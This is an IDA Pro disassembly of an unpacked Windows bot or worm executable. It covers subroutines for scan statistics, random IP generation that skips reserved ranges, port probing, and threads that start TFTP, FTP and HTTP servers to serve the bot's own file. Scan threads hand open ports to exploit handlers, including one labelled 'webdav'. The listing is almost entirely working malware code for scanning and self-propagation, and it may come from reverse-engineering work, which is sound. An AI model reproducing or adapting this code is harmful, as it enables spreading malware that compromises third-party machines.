; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 151AA8868C89886F23AE1D80FB2031B7 ; File Name : u:\work\151aa8868c89886f23ae1d80fb2031b7_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 0001E9D7 ( 125399.) ; Section size in file : 0001E9D7 ( 125399.) ; Offset to raw data for section: 00001000 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _text segment para public 'CODE' use32 assume cs:_text ;org 401000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: sub_4089DC+4C6Dp ; DATA XREF: sub_47E1B0+15Dr ... var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+var_200] push offset aScanExploitSta ; "[SCAN]: Exploit Statistics:" push eax xor ebx, ebx call sub_414415 cmp dword_42B068, ebx pop ecx pop ecx mov edi, 200h jz short loc_40106E push esi mov esi, offset dword_42B070 loc_401033: ; CODE XREF: sub_401000+6Bj mov eax, [esi] loc_401035: ; DATA XREF: sub_47E1B0+82r ; sub_47E1B0+2A9r push eax add ebx, eax lea eax, [esi-26h] push eax lea eax, [ebp+var_400] push offset aSD ; " %s: %d," push eax call sub_414415 push edi lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push eax call sub_4142E0 add esi, 3Ch add esp, 1Ch cmp dword ptr [esi-8], 0 jnz short loc_401033 pop esi loc_40106E: ; CODE XREF: sub_401000+2Bj push dword_47BF18 call sub_411551 loc_401079: ; DATA XREF: sub_47E1B0+277r push eax push ebx lea eax, [ebp+var_400] push offset aTotalDInS_ ; " Total: %d in %s." push eax call sub_414415 push edi lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push eax call sub_4142E0 push 0 push [ebp+arg_8] lea eax, [ebp+var_200] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4056BF lea eax, [ebp+var_200] push eax call sub_401EFF add esp, 38h pop edi pop ebx leave retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4010CA proc near ; CODE XREF: sub_4089DC+458Dp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 9 call sub_41248A test eax, eax pop ecx jle short loc_401106 mov eax, [ebp+arg_C] push dword_42E640[eax*8] call dword_435888 ; inet_ntoa push eax lea eax, [ebp+var_200] push offset aScanCurrentIpS ; "[SCAN]: Current IP: %s." push eax call sub_414415 add esp, 0Ch jmp short loc_401119 ; --------------------------------------------------------------------------- loc_401106: ; CODE XREF: sub_4010CA+13j lea eax, [ebp+var_200] push offset aScanScanNotAct ; "[SCAN]: Scan not active." push eax call sub_414415 pop ecx pop ecx loc_401119: ; CODE XREF: sub_4010CA+3Aj push 0 push [ebp+arg_8] lea eax, [ebp+var_200] push eax push [ebp+arg_4] push [ebp+arg_0] loc_40112B: ; DATA XREF: sub_47E1B0+8Er call sub_4056BF lea eax, [ebp+var_200] push eax call sub_401EFF add esp, 18h leave retn sub_4010CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401141 proc near ; CODE XREF: sub_401B9D+52p var_204 = byte ptr -204h var_4 = byte ptr -4 arg_94 = byte ptr 9Ch arg_114 = byte ptr 11Ch arg_194 = dword ptr 19Ch arg_1B4 = dword ptr 1BCh arg_1BC = dword ptr 1C4h arg_1C0 = dword ptr 1C8h push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+arg_1B4] cmp eax, 0FFFFFFFFh jz locret_4014F1 loc_401159: ; DATA XREF: sub_47E1B0:loc_47E2C2w ; sub_47E1B0+156r ... imul eax, 3Ch push ebx loc_40115D: ; DATA XREF: sub_47E1B0:loc_47E417r xor ebx, ebx cmp dword_42B074[eax], ebx loc_401165: ; DATA XREF: sub_47E1B0+2B0w ; sub_47E1B0+2F9r ... push esi jz loc_4013DF push 5 call sub_41248A test eax, eax pop ecx jnz loc_4014EF mov eax, dword_42BEBC push edi push 104h mov edi, offset dword_42FC54 loc_40118C: ; DATA XREF: sub_47E1B0+12Fr push edi push ebx mov dword_42FE64, eax mov dword_42FE60, ebx call ds:dword_420010 ; GetModuleFileNameA push 103h loc_4011A4: ; DATA XREF: sub_47E1B0+1Ew ; sub_47E1B0+51r ... push offset byte_42BF4C mov esi, offset dword_42FD58 push esi call sub_4144A0 mov eax, [ebp+arg_194] add esp, 0Ch cmp [ebp+arg_114], bl mov dword_42FC50, eax mov eax, [ebp+arg_1BC] mov dword_42FEE8, eax push 7Fh jnz short loc_4011F4 lea eax, [ebp+arg_94] push eax push offset dword_42FE68 call sub_4144A0 mov dword_42FEEC, 1 jmp short loc_40120B ; --------------------------------------------------------------------------- loc_4011F4: ; CODE XREF: sub_401141+94j lea eax, [ebp+arg_114] push eax push offset dword_42FE68 call sub_4144A0 mov dword_42FEEC, ebx loc_40120B: ; CODE XREF: sub_401141+B1j add esp, 0Ch push esi push edi push dword_42FE64 lea eax, [ebp+var_204] push offset aTftpServerStar ; "[TFTP]: Server started on Port: %d, Fil"... push eax call sub_414415 push ebx lea eax, [ebp+var_204] push 5 push eax call sub_41229A add esp, 20h mov dword_42FE5C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_42FC50 push offset sub_411DD2 push ebx push ebx call ds:dword_42000C ; CreateThread mov ecx, dword_42FE5C imul ecx, 234h cmp eax, ebx mov dword_4366B4[ecx], eax jnz loc_401327 call ds:dword_420008 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_204] push offset aTftpFailedToSt ; "[TFTP]: Failed to start server, error: "... push eax call sub_414415 add esp, 0Ch loc_40128A: ; CODE XREF: sub_401141+1EEj lea eax, [ebp+var_204] push eax call sub_401EFF pop ecx call ds:dword_420004 ; GetTickCount xor edx, edx mov ecx, 0F82Fh div ecx push 104h mov edi, offset dword_42F9AC push edi push ebx mov dword_42FBB8, ebx add edx, 400h mov dword_42FBBC, edx call ds:dword_420010 ; GetModuleFileNameA push 103h push offset byte_42BF4C mov esi, offset dword_42FAB0 push esi call sub_4144A0 mov eax, [ebp+arg_194] add esp, 0Ch cmp [ebp+arg_114], bl mov dword_42F9A8, eax mov eax, [ebp+arg_1BC] mov dword_42FC40, eax push 7Fh jnz short loc_401334 lea eax, [ebp+arg_94] push eax push offset dword_42FBC0 call sub_4144A0 mov dword_42FC44, 1 jmp short loc_40134B ; --------------------------------------------------------------------------- loc_40131F: ; CODE XREF: sub_401141+1ECj push 32h call ds:dword_420000 ; Sleep loc_401327: ; CODE XREF: sub_401141+128j cmp dword_42FEF0, ebx jz short loc_40131F jmp loc_40128A ; --------------------------------------------------------------------------- loc_401334: ; CODE XREF: sub_401141+1BFj lea eax, [ebp+arg_114] push eax push offset dword_42FBC0 call sub_4144A0 mov dword_42FC44, ebx loc_40134B: ; CODE XREF: sub_401141+1DCj add esp, 0Ch push esi push edi push dword_42FBBC push dword_42F9A8 call sub_407D15 pop ecx push eax lea eax, [ebp+var_204] push offset aFtpServerStart ; "[FTP]: Server started on: %s:%d, File: "... push eax call sub_414415 push ebx lea eax, [ebp+var_204] push 6 push eax call sub_41229A add esp, 24h mov dword_42FBB4, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_42F9A8 push offset sub_403BFF push ebx push ebx call ds:dword_42000C ; CreateThread mov ecx, dword_42FBB4 imul ecx, 234h cmp eax, ebx mov dword_4366B4[ecx], eax pop edi jnz short loc_4013D2 call ds:dword_420008 ; RtlGetLastWin32Error push eax push offset aFtpFailedToSta ; "[FTP]: Failed to start server, error: <"... jmp loc_4014D3 ; --------------------------------------------------------------------------- loc_4013CA: ; CODE XREF: sub_401141+297j push 32h call ds:dword_420000 ; Sleep loc_4013D2: ; CODE XREF: sub_401141+276j cmp dword_42FC48, ebx jz short loc_4013CA jmp loc_4014E2 ; --------------------------------------------------------------------------- loc_4013DF: ; CODE XREF: sub_401141+25j cmp dword_42B078[eax], ebx jz loc_4014EF push 4 call sub_41248A test eax, eax pop ecx jnz loc_4014EF push 104h mov esi, offset dword_42F884 push esi push ebx call ds:dword_420010 ; GetModuleFileNameA push 5Ch push esi call sub_414470 cmp eax, ebx pop ecx pop ecx jz short loc_40141D mov [eax], bl loc_40141D: ; CODE XREF: sub_401141+2D8j mov eax, dword_42BEC0 mov dword_42F988, eax lea eax, [ebp+arg_94] push eax push offset dword_42F5FC mov dword_42F99C, ebx call sub_414415 mov eax, [ebp+arg_194] pop ecx pop ecx mov ecx, [ebp+arg_1BC] push esi push dword_42F988 mov dword_42F994, ecx mov ecx, [ebp+arg_1C0] push eax mov dword_42F5F8, eax mov dword_42F998, ecx call sub_407D15 pop ecx push eax lea eax, [ebp+var_204] push offset aHttpdServerLis ; "[HTTPD]: Server listening on IP: %s:%d,"... push eax call sub_414415 push ebx lea eax, [ebp+var_204] push 4 push eax call sub_41229A add esp, 20h loc_401495: ; DATA XREF: .data:off_42CC20o ; .data:off_42D4D8o mov dword_42F990, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_42F5F8 push offset sub_404EE8 push ebx push ebx call ds:dword_42000C ; CreateThread mov ecx, dword_42F990 imul ecx, 234h cmp eax, ebx mov dword_4366B4[ecx], eax jnz short loc_4014FB call ds:dword_420008 ; RtlGetLastWin32Error push eax push offset aHttpdFailedToS ; "[HTTPD]: Failed to start server, error:"... loc_4014D3: ; CODE XREF: sub_401141+284j lea eax, [ebp+var_204] push eax call sub_414415 add esp, 0Ch loc_4014E2: ; CODE XREF: sub_401141+299j ; sub_401141+3C2j lea eax, [ebp+var_204] push eax call sub_401EFF pop ecx loc_4014EF: ; CODE XREF: sub_401141+35j ; sub_401141+2A4j ... pop esi pop ebx locret_4014F1: ; CODE XREF: sub_401141+12j leave retn ; --------------------------------------------------------------------------- loc_4014F3: ; CODE XREF: sub_401141+3C0j push 32h call ds:dword_420000 ; Sleep loc_4014FB: ; CODE XREF: sub_401141+384j cmp dword_42F9A4, ebx jz short loc_4014F3 jmp short loc_4014E2 sub_401141 endp ; =============== S U B R O U T I N E ======================================= sub_401505 proc near ; CODE XREF: sub_401967:loc_4019C9p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] lea esi, ds:42E640h[esi*8] push dword ptr [esi] call dword_4358D8 ; htonl inc eax push eax call dword_43592C ; htonl mov [esi], eax pop esi retn sub_401505 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=74h sub_401525 proc near ; CODE XREF: sub_4017F1+71p var_E4 = word ptr -0E4h var_E2 = word ptr -0E2h var_E0 = word ptr -0E0h var_DE = word ptr -0DEh var_DC = word ptr -0DCh var_DA = word ptr -0DAh var_D8 = word ptr -0D8h var_D6 = word ptr -0D6h var_D4 = word ptr -0D4h var_D2 = word ptr -0D2h var_D0 = word ptr -0D0h var_CE = word ptr -0CEh var_CC = word ptr -0CCh var_CA = word ptr -0CAh var_C8 = word ptr -0C8h var_C6 = word ptr -0C6h var_C4 = word ptr -0C4h var_C2 = word ptr -0C2h var_C0 = word ptr -0C0h var_BE = word ptr -0BEh var_BC = word ptr -0BCh var_BA = word ptr -0BAh var_B8 = word ptr -0B8h var_B6 = word ptr -0B6h var_B4 = word ptr -0B4h var_B2 = word ptr -0B2h var_B0 = word ptr -0B0h var_AE = word ptr -0AEh var_AC = word ptr -0ACh var_AA = word ptr -0AAh var_A8 = word ptr -0A8h var_A6 = word ptr -0A6h var_A4 = word ptr -0A4h var_A2 = word ptr -0A2h var_A0 = word ptr -0A0h var_9E = word ptr -9Eh var_9C = word ptr -9Ch var_9A = word ptr -9Ah var_98 = word ptr -98h var_96 = word ptr -96h var_94 = word ptr -94h var_92 = word ptr -92h var_90 = word ptr -90h var_8E = word ptr -8Eh var_8C = word ptr -8Ch var_8A = word ptr -8Ah var_88 = word ptr -88h var_86 = word ptr -86h var_84 = word ptr -84h var_82 = word ptr -82h var_80 = word ptr -80h var_7E = word ptr -7Eh var_7C = word ptr -7Ch var_7A = word ptr -7Ah var_78 = word ptr -78h var_76 = word ptr -76h var_74 = word ptr -74h var_72 = word ptr -72h var_70 = word ptr -70h var_6E = word ptr -6Eh var_6C = word ptr -6Ch var_6A = word ptr -6Ah var_68 = word ptr -68h var_66 = word ptr -66h var_64 = word ptr -64h var_62 = word ptr -62h var_60 = word ptr -60h var_5E = word ptr -5Eh var_5C = word ptr -5Ch var_5A = word ptr -5Ah var_58 = word ptr -58h var_56 = word ptr -56h var_54 = word ptr -54h var_52 = word ptr -52h var_50 = word ptr -50h var_4E = word ptr -4Eh var_4C = word ptr -4Ch var_4A = word ptr -4Ah var_48 = word ptr -48h var_46 = word ptr -46h var_44 = word ptr -44h var_42 = word ptr -42h var_40 = word ptr -40h var_3E = word ptr -3Eh var_3C = word ptr -3Ch var_3A = word ptr -3Ah var_38 = word ptr -38h var_36 = word ptr -36h var_34 = word ptr -34h var_32 = word ptr -32h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = word ptr -2Ch var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = word ptr -26h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = word ptr -18h var_16 = word ptr -16h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = word ptr -0Ch var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp lea ebp, [esp-74h] sub esp, 0E4h xor eax, eax mov [ebp+74h+var_E4], ax mov [ebp+74h+var_E2], 1 mov [ebp+74h+var_E0], 2 mov [ebp+74h+var_DE], 5 mov [ebp+74h+var_DC], 7 mov [ebp+74h+var_DA], 0Bh mov [ebp+74h+var_D8], 17h mov [ebp+74h+var_D6], 1Bh mov [ebp+74h+var_D4], 1Fh mov [ebp+74h+var_D2], 24h mov [ebp+74h+var_D0], 25h mov [ebp+74h+var_CE], 27h mov [ebp+74h+var_CC], 29h mov [ebp+74h+var_CA], 2Ah mov [ebp+74h+var_C8], 31h mov [ebp+74h+var_C6], 32h mov [ebp+74h+var_C4], 49h mov [ebp+74h+var_C2], 4Ah mov [ebp+74h+var_C0], 4Bh mov [ebp+74h+var_BE], 4Ch mov [ebp+74h+var_BC], 4Dh mov [ebp+74h+var_BA], 4Eh mov [ebp+74h+var_B8], 4Fh mov [ebp+74h+var_B6], 59h mov [ebp+74h+var_B4], 5Ah mov [ebp+74h+var_B2], 5Bh mov [ebp+74h+var_B0], 5Ch mov [ebp+74h+var_AE], 5Dh mov [ebp+74h+var_AC], 5Eh mov [ebp+74h+var_AA], 5Fh mov [ebp+74h+var_A8], 60h mov [ebp+74h+var_A6], 61h mov [ebp+74h+var_A4], 62h mov [ebp+74h+var_A2], 63h mov [ebp+74h+var_A0], 64h mov [ebp+74h+var_9E], 65h mov [ebp+74h+var_9C], 66h mov [ebp+74h+var_9A], 67h mov [ebp+74h+var_98], 68h mov [ebp+74h+var_96], 69h mov [ebp+74h+var_94], 6Ah mov [ebp+74h+var_92], 6Bh mov [ebp+74h+var_90], 6Ch mov [ebp+74h+var_8E], 6Dh mov [ebp+74h+var_8C], 6Eh mov [ebp+74h+var_8A], 6Fh mov [ebp+74h+var_88], 70h mov [ebp+74h+var_86], 71h mov [ebp+74h+var_84], 72h mov [ebp+74h+var_82], 73h mov [ebp+74h+var_80], 74h mov [ebp+74h+var_7E], 75h mov [ebp+74h+var_7C], 76h mov [ebp+74h+var_7A], 77h mov [ebp+74h+var_78], 78h mov [ebp+74h+var_76], 79h mov [ebp+74h+var_74], 7Ah mov [ebp+74h+var_72], 7Bh mov [ebp+74h+var_70], 7Ch mov [ebp+74h+var_6E], 7Dh mov [ebp+74h+var_6C], 7Eh mov [ebp+74h+var_6A], 7Fh mov [ebp+74h+var_68], 0ADh mov [ebp+74h+var_66], 0AEh mov [ebp+74h+var_64], 0AFh mov [ebp+74h+var_62], 0B0h mov [ebp+74h+var_60], 0B1h mov [ebp+74h+var_5E], 0B2h mov [ebp+74h+var_5C], 0B3h mov [ebp+74h+var_5A], 0B4h mov [ebp+74h+var_58], 0B5h mov [ebp+74h+var_56], 0B6h mov [ebp+74h+var_54], 0B7h mov [ebp+74h+var_52], 0B8h mov [ebp+74h+var_50], 0B9h mov [ebp+74h+var_4E], 0BAh mov [ebp+74h+var_4C], 0BBh mov [ebp+74h+var_4A], 0BDh mov [ebp+74h+var_48], 0BEh mov [ebp+74h+var_46], 0C5h mov [ebp+74h+var_44], 0DFh mov [ebp+74h+var_42], 0E0h mov [ebp+74h+var_40], 0E1h mov [ebp+74h+var_3E], 0E2h mov [ebp+74h+var_3C], 0E3h mov [ebp+74h+var_3A], 0E4h mov [ebp+74h+var_38], 0E5h mov [ebp+74h+var_36], 0E6h mov [ebp+74h+var_34], 0E7h mov [ebp+74h+var_32], 0E8h mov [ebp+74h+var_30], 0E9h mov [ebp+74h+var_2E], 0EAh mov [ebp+74h+var_2C], 0EBh mov [ebp+74h+var_2A], 0ECh mov [ebp+74h+var_28], 0EDh mov [ebp+74h+var_26], 0EEh mov [ebp+74h+var_24], 0EFh mov [ebp+74h+var_22], 0F0h mov [ebp+74h+var_20], 0F1h mov [ebp+74h+var_1E], 0F2h mov [ebp+74h+var_1C], 0F3h mov [ebp+74h+var_1A], 0F4h mov [ebp+74h+var_18], 0F5h mov [ebp+74h+var_16], 0F6h mov [ebp+74h+var_14], 0F7h mov [ebp+74h+var_12], 0F8h mov [ebp+74h+var_10], 0F9h mov [ebp+74h+var_E], 0FAh mov [ebp+74h+var_C], 0FBh mov [ebp+74h+var_A], 0FCh mov [ebp+74h+var_8], 0FDh mov [ebp+74h+var_6], 0FEh mov [ebp+74h+var_4], 0FFh loc_4017D6: ; CODE XREF: sub_401525+2BFj movsx ecx, [ebp+eax*2+74h+var_E4] cmp [ebp+74h+arg_0], ecx jz short loc_4017ED inc eax cmp eax, 71h jb short loc_4017D6 xor al, al loc_4017E8: ; CODE XREF: sub_401525+2CAj add ebp, 74h leave retn ; --------------------------------------------------------------------------- loc_4017ED: ; CODE XREF: sub_401525+2B9j mov al, 1 jmp short loc_4017E8 sub_401525 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4017F1 proc near ; CODE XREF: sub_401967+5Ap var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_0] push edi or edi, 0FFFFFFFFh mov [ebp+var_4], edi mov [ebp+var_C], edi mov [ebp+var_8], edi mov [ebp+var_10], edi lea ecx, [eax+1] loc_40180D: ; CODE XREF: sub_4017F1+21j mov dl, [eax] inc eax test dl, dl jnz short loc_40180D sub eax, ecx cmp eax, 0Fh jbe short loc_401822 xor eax, eax jmp loc_4018C7 ; --------------------------------------------------------------------------- loc_401822: ; CODE XREF: sub_4017F1+28j push esi lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_4] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push [ebp+arg_0] call sub_4145F3 add esp, 18h cmp [ebp+var_4], edi jnz short loc_40186C call sub_4145D1 mov esi, 0FFh jmp short loc_401859 ; --------------------------------------------------------------------------- loc_401854: ; CODE XREF: sub_4017F1+79j call sub_4145D1 loc_401859: ; CODE XREF: sub_4017F1+61j cdq mov ecx, esi idiv ecx push edx mov [ebp+var_4], edx call sub_401525 test al, al pop ecx jnz short loc_401854 loc_40186C: ; CODE XREF: sub_4017F1+55j cmp [ebp+var_C], edi mov esi, 100h jnz short loc_401883 call sub_4145D1 cdq mov ecx, esi idiv ecx mov [ebp+var_C], edx loc_401883: ; CODE XREF: sub_4017F1+83j cmp [ebp+var_8], edi jnz short loc_401893 call sub_4145D1 cdq idiv esi mov [ebp+var_8], edx loc_401893: ; CODE XREF: sub_4017F1+95j mov edx, [ebp+var_10] cmp edx, edi pop esi jnz short loc_4018A9 call sub_4145D1 cdq mov ecx, 0FEh idiv ecx inc edx loc_4018A9: ; CODE XREF: sub_4017F1+A8j mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] shl edx, 8 add edx, [ebp+var_8] shl edx, 8 add edx, [ebp+var_C] shl edx, 8 add eax, edx mov dword_42E640[ecx*8], eax loc_4018C7: ; CODE XREF: sub_4017F1+2Cj pop edi leave retn sub_4017F1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4018CA proc near ; CODE XREF: sub_401967+A9p ; sub_40398A+2Cp var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi xor edi, edi xor ebx, ebx push ebx inc edi push edi push 2 mov [ebp+var_4], edi call dword_435808 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_4018F3 xor eax, eax jmp short loc_401962 ; --------------------------------------------------------------------------- loc_4018F3: ; CODE XREF: sub_4018CA+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call dword_435954 ; htons mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call dword_4357AC ; ioctlsocket push 10h lea eax, [ebp+var_1C] push eax push esi call dword_4357C0 ; connect mov eax, [ebp+arg_8] mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax push ebx lea eax, [ebp+var_120] push eax push ebx push ebx mov [ebp+var_8], ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call dword_4358AC ; select push esi mov edi, eax call dword_435914 ; closesocket xor eax, eax cmp edi, ebx setnle al loc_401962: ; CODE XREF: sub_4018CA+27j pop edi pop esi pop ebx leave retn sub_4018CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401967 proc near ; DATA XREF: sub_401B9D+144o var_3B0 = dword ptr -3B0h var_394 = dword ptr -394h var_390 = byte ptr -390h var_380 = byte ptr -380h var_300 = dword ptr -300h var_2FC = byte ptr -2FCh var_27C = byte ptr -27Ch var_270 = dword ptr -270h var_26C = dword ptr -26Ch var_268 = dword ptr -268h var_260 = dword ptr -260h var_25C = dword ptr -25Ch var_254 = byte ptr -254h var_1D4 = byte ptr -1D4h var_1C4 = byte ptr -1C4h var_144 = dword ptr -144h var_140 = byte ptr -140h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 394h mov eax, [ebp+arg_0] push ebx push esi push edi push 74h mov esi, eax pop ecx lea edi, [ebp+var_1D4] rep movsd mov edi, [ebp+var_2C] mov dword ptr [eax+1CCh], 1 mov eax, [ebp+var_28] mov [ebp+var_4], edi mov [ebp+arg_0], eax call ds:dword_420004 ; GetTickCount push eax call sub_4145C4 mov ebx, edi pop ecx imul ebx, 234h jmp loc_401B79 ; --------------------------------------------------------------------------- loc_4019B3: ; CODE XREF: sub_401967+220j cmp [ebp+var_10], 0 push eax jz short loc_4019C9 lea eax, [ebp+var_1D4] push eax call sub_4017F1 pop ecx jmp short loc_4019CE ; --------------------------------------------------------------------------- loc_4019C9: ; CODE XREF: sub_401967+51j call sub_401505 loc_4019CE: ; CODE XREF: sub_401967+60j pop ecx push [ebp+arg_0] mov esi, eax push dword_4366A4[ebx] push [ebp+var_3C] push esi call dword_435888 ; inet_ntoa push eax lea eax, [ebp+var_254] push offset aScanIpSDScanTh ; "[SCAN]: IP: %s:%d, Scan thread: %d, Sub"... push eax call sub_414415 lea eax, [ebp+var_254] push eax lea eax, dword_4364A0[ebx] push eax call sub_414415 push [ebp+var_38] push [ebp+var_3C] push esi call sub_4018CA add esp, 2Ch cmp eax, 1 jnz loc_401B6E cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_401AA2 push offset dword_42F5E0 call ds:dword_42001C ; RtlEnterCriticalSection push [ebp+var_3C] push esi call dword_435888 ; inet_ntoa push eax lea eax, [ebp+var_254] push offset aScanIpSPortDIs ; "[SCAN]: IP: %s, Port %d is open." push eax call sub_414415 add esp, 10h cmp [ebp+var_14], 0 jnz short loc_401A84 cmp [ebp+var_C0], 0 push 1 push [ebp+var_18] lea eax, [ebp+var_254] push eax lea eax, [ebp+var_C0] jnz short loc_401A78 lea eax, [ebp+var_140] loc_401A78: ; CODE XREF: sub_401967+109j push eax push [ebp+var_40] call sub_4056BF add esp, 14h loc_401A84: ; CODE XREF: sub_401967+EEj lea eax, [ebp+var_254] push eax call sub_401EFF mov [esp+3B0h+var_3B0], offset dword_42F5E0 call ds:dword_420018 ; RtlLeaveCriticalSection jmp loc_401B6E ; --------------------------------------------------------------------------- loc_401AA2: ; CODE XREF: sub_401967+BEj push esi call dword_435888 ; inet_ntoa push eax lea eax, [ebp+var_390] push eax call sub_414415 mov eax, [ebp+var_20] imul eax, 3Ch add eax, offset aWebdav ; "webdav" push eax lea eax, [ebp+var_27C] push eax call sub_414415 add esp, 10h cmp [ebp+var_C0], 0 lea eax, [ebp+var_C0] jnz short loc_401AE6 lea eax, [ebp+var_140] loc_401AE6: ; CODE XREF: sub_401967+177j push eax lea eax, [ebp+var_2FC] push eax call sub_414415 mov eax, [ebp+var_144] pop ecx mov [ebp+var_300], eax pop ecx xor eax, eax loc_401B03: ; CODE XREF: sub_401967+1ADj mov cl, [ebp+eax+var_1C4] mov [ebp+eax+var_380], cl inc eax test cl, cl jnz short loc_401B03 mov eax, [ebp+var_40] mov [ebp+var_394], eax mov eax, [ebp+var_18] mov [ebp+var_260], eax mov eax, [ebp+var_14] mov [ebp+var_25C], eax mov eax, [ebp+var_3C] mov [ebp+var_270], eax mov eax, [ebp+var_20] mov [ebp+var_268], eax imul eax, 3Ch sub esp, 140h push 50h pop ecx mov [ebp+var_26C], edi lea esi, [ebp+var_394] mov edi, esp rep movsd call off_42B06C[eax] mov edi, [ebp+var_4] add esp, 140h loc_401B6E: ; CODE XREF: sub_401967+B4j ; sub_401967+136j push 7D0h call ds:dword_420000 ; Sleep loc_401B79: ; CODE XREF: sub_401967+47j mov eax, dword_4366A4[ebx] cmp dword_42E644[eax*8], 0 jnz loc_4019B3 push edi call sub_41255E pop ecx push 0 call ds:dword_420014 ; ExitThread int 3 ; Trap to Debugger sub_401967 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=74h sub_401B9D proc near ; DATA XREF: sub_4089DC+3FF9o ; sub_4089DC+5A2Do var_304 = dword ptr -304h var_250 = byte ptr -250h var_1C0 = dword ptr -1C0h var_1BC = byte ptr -1BCh var_BC = dword ptr -0BCh var_B8 = dword ptr -0B8h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_94 = dword ptr -94h var_90 = dword ptr -90h var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 push ebp lea ebp, [esp-74h] sub esp, 250h mov eax, [ebp+74h+arg_0] push ebx push esi push edi push 74h pop ecx mov esi, eax lea edi, [ebp+74h+var_250] rep movsd mov dword ptr [eax+1C8h], 1 lea eax, [ebp+74h+var_250] push eax call dword_43587C ; inet_addr mov ecx, [ebp+74h+var_AC] sub esp, 1D0h mov dword_42E640[ecx*8], eax push 74h pop ecx lea esi, [ebp+74h+var_250] mov edi, esp rep movsd call sub_401141 xor ebx, ebx add esp, 1D0h cmp [ebp+74h+var_1C0], ebx jnz short loc_401C0F mov eax, dword_43535C mov [ebp+74h+var_1C0], eax loc_401C0F: ; CODE XREF: sub_401B9D+65j push 9 call sub_41248A xor edi, edi inc edi cmp eax, edi pop ecx jnz short loc_401C7F mov esi, offset dword_42F5E0 push esi call ds:dword_420024 ; RtlDeleteCriticalSection push 80000400h push esi call ds:dword_420020 ; InitializeCriticalSectionAndSpinCount test eax, eax jnz short loc_401C7F lea eax, [ebp+74h+var_80] push offset aScanFailedToIn ; "[SCAN]: Failed to initialize critical s"... push eax call sub_414415 cmp [ebp+74h+var_90], ebx pop ecx pop ecx jnz short loc_401C69 push ebx push [ebp+74h+var_94] lea eax, [ebp+74h+var_80] push eax lea eax, [ebp+74h+var_1BC] 